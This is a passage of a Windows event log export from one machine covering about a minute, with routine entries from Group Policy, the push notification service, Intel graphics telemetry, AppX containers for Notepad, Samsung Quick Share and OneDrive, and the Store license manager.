08:59:04.187\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.188\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.189\t5116\tSuccessfully completed the Group Policy Service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5320\tThe Group Policy Client service is currently configured as a standalone service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5320\tInitializing and reading current service configuration for the Group Policy Client service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5320\tInitializing service instance state to detect previous instances of the service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5321\tA previous instance of the Group Policy Client Service was detected. Parameter: 617633a1-9144-4ef0-bf9e-2368ace073ed\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.191\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.546\t27\tConnection state - All connections have succeeded since the previous period.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:59:10.188\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.188\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.188\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.190\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.190\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.190\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.207\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.207\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.215\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.231\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.235\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.235\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:17.832\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:17.838\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:18.610\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:18.845\t217\tDestroyed Desktop AppX container {245CDE08-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:18.849\t217\tDestroyed Desktop AppX container {245CDE03-A8C9-11F1-B7FF-289200F24A99} for package MonitorManage_1.0.0.1_neutral__s7rhbyg9f8xr8.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:18.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:19.010\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.010\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.011\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.011\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.282\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:19.505\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:19.575\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:59:19.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:20.037\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:20.043\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:21.922\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:21.925\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:22.370\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:23.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:23.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.483\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.827\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.832\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:27.778\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:27.778\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:27.778\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:27.786\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:35.197\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:59:38.471\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:38.475\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:39.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:39.587\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:39.811\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:40.145\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:40.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:40.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:41.370\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:41.700\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:41.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.376\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.381\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:44.820\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:44.837\t210\tCreated Desktop AppX container {245CDE44-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.837\t211\tAdded process 4704 to Desktop AppX container 245cde44-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.899\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:44.920\t16\tThe access history in hive \\??\\C:\\Users\\admin\\AppData\\Local\\Packages\\SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy\\SystemAppData\\Helium\\User.dat was cleared updating 1 keys and creating 1 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:59:44.921\t16\tThe access history in hive \\??\\C:\\Users\\admin\\AppData\\Local\\Packages\\SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy\\SystemAppData\\Helium\\UserClasses.dat was cleared updating 1 keys and creating 1 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:59:44.922\t16\tThe access history in hive \\??\\C:\\ProgramData\\Packages\\SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy\\S-1-5-21-3712849175-2219398513-4278588552-1006\\SystemAppData\\Helium\\Cache\\446d4697ac2953bf_COM15.dat was cleared updating 1 keys and creating 1 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:59:44.925\t210\tCreated Desktop AppX container {245CDE49-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.925\t211\tAdded process 9300 to Desktop AppX container 245cde49-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.980\t210\tCreated Desktop AppX container {245CDE4E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.980\t211\tAdded process 11556 to Desktop AppX container 245cde4e-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:55.484\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.508\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.510\t28115\tShortcut for application WINWORD.EXE - Shortcut with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x10 is added to app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.514\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.517\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.525\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:58.529\t217\tDestroyed Desktop AppX container {245CDE4E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:58.530\t217\tDestroyed Desktop AppX container {245CDE44-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:58.543\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:58.544\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:58.549\t217\tDestroyed Desktop AppX container {245CDE49-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:59.305\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:59.309\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:59.635\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:59.858\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.191\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.414\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.080\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.747\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.914\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:01.937\t210\tCreated Desktop AppX container {245CDE56-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:01.937\t211\tAdded process 3380 to Desktop AppX container 245cde56-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:01.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.995\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:02.021\t210\tCreated Desktop AppX container {245CDE5B-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.021\t211\tAdded process 7048 to Desktop AppX container 245cde5b-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.065\t210\tCreated Desktop AppX container {245CDE60-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.065\t211\tAdded process 13176 to Desktop AppX container 245cde60-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:02.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:03.286\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:03.306\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already 